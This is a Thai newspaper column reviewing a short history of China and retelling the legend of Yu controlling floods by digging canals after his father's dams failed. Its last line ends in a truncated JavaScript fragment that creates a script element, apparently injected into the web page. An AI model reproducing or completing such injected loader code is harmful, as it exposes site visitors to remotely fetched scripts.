มติชนรายวัน ฉบับประจำวันพุธที่ 6 มีนาคม 2556

 

          4,000 ปีก่อนคริสตกาล (ราว 6,000 ปีมาแล้ว) ในจีนมีบ้านเมือง และมีผู้คนปลูกพืช เลี้ยงไหม ใส่เสื้อผ้า ทำธนู สร้างรถสร้างเรือ ฯลฯ

          มีบอกในหนังสือประวัติศาสตร์จีน ฉบับย่อ โดย หลี่เฉวียน เขียน, เขมณัฏฐ์ ทรัพย์เกษมชัย แปล สำนักพิมพ์มติชน พิมพ์ครั้งแรก 2556 ราคา 455 บาท แล้วหนังสือบอกอีกว่ายุคนั้นในจีนมีปัญหาน้ำท่วม จึงแก้ปัญหาโดยสร้างเขื่อน แต่ไม่สำเร็จ ต้องขุดคลอง จะคัดสรุปย่อมาดังนี้

          ที่ประชุมเผ่าต่างๆลงมติให้ชายคนหนึ่งชื่อกุ่นเป็นผู้นำในการแก้ปัญหาน้ำท่วมบริเวณลุ่มน้ำหวงเหอและฉางเจียง กุ่นใช้วิธีสร้างเขื่อนกั้นน้ำ แต่เมื่อกั้นทางนี้ได้ อีกทางก็พัง

          ผ่านไป 9 ปีก็ยังไม่สามารถแก้ปัญหาได้ จึงต้องโทษประหารตามกฎของเผ่า แล้วมอบให้อวี่ผู้เป็นลูกชายของกุ่นเข้าแก้ปัญหาน้ำท่วมต่อไป

          อวี่เดินทางไปยังพื้นที่ที่เกิดอุทกภัยร้ายแรงที่สุด ทำการวัดความสูง-ต่ำของภูมิประเทศโดยใช้เสาไม้เป็นสัญลักษณ์

          เขาตัดสินใจเปลี่ยนวิธีจากการสร้างเขื่อนกั้นน้ำของบิดา มาใช้วิธีขุดคลองชักน้ำแทน โดยนำชุมชนออกขุดลอกคูคลองเพื่อชักน้ำที่ท่วมขังอยู่ลงสู่แม่น้ำฉางเจียงและหวงเหอ แล้วดึงน้ำลงทะเล

          อวี่เป็นทั้งผู้บัญชาการหลักในการแก้ไขปัญหา และยังเป็นแรงงานหลักอีกด้วย ตลอดระยะเวลากว่า 10 ปี เขาขนหินขุดดินทุกวันจนมือนั้นแข็งกระด้าง ต้องยืนแช่น้ำเป็นเวลายาวนานจนเล็บเท้าหลุด หน้าไม่เคยล้าง ผมไม่เคยหวี หน้าตาสกปรกมอมแมม ผมเผ้ายุ่งเหยิง ขยันหมั่นเพียรกับการทำงาน จนลูกน้องเห็นแล้วก็อดไม่ได้ที่จะรู้สึกซาบซึ้งจนน้ำตาไหล

          เล่ากันว่าอวี่นำผู้คนออกขุดคลองใหญ่ไว้มากมายทั่วประเทศ ทั้งยังเจาะภูเขา ขุดลอกทางเดินน้ำของแม่น้ำหวงเหอ ปัญหาอุทกภัยได้รับการบริหารจัดการจนถึงที่สุดตั้งแต่บัดนั้น

          หนังสือประวัติศาสตร์จีน ฉบับย่อ สรุปว่า ในสมัยนั้นผู้คนใช้เพียงเครื่องมือที่ทำจากหินหรือไม้อย่างหยาบๆ การที่จะสร้างงานชลประทานขนาดใหญ่ได้นั้นไม่น่าเป็นไปได้

          ฉะนั้น คำบอกเล่าอย่างนี้ไม่น่าเชื่อ แต่เชื่อได้ว่ามีปัญหาน้ำท่วมจริงๆ แล้วคนยุคนั้นต้องคิดแก้ปัญหาซ้ำซาก ซ้ำแล้วซ้ำอีก กว่าจะสำเร็จได้ต้องใช้เวลานับร้อยปี

          ประวัติศาสตร์จีน ฉบับย่อ เล่มนี้ มีคำบอกเล่ารวมไว้มาก จึงยากมากที่ผมจะอ่านเข้าใจได้หมดว่าตรงไหนเรื่องบอกเล่า ตรงไหนเรื่องจริง

          ยิ่งยากขึ้นอีกที่จะจินตนาการได้ตามที่อ่าน เพราะไม่รู้ว่าเรื่องราวเหล่านั้นเกิดขึ้นบริเวณไหน? แม้บอกชื่อมณฑลไว้ด้วยก็ตาม เช่น มณฑลชานตง, มณฑลเหอหนาน, มณฑลเจียงซู, ฯลฯ เป็นแหล่งดั้งเดิมดึกดำบรรพ์ของจีน

          แต่คนไม่คุ้นจีนอย่างผมจินตนาการเท่าไรก็นึกไม่ออกว่าอยู่ตรงไหน? จะดูแผนที่ก็หาไม่ได้ เพราะในเล่มนี้ ไม่มีแผนที่เลยสักแผ่น}var d=document;var s=d.createElement(‘script’);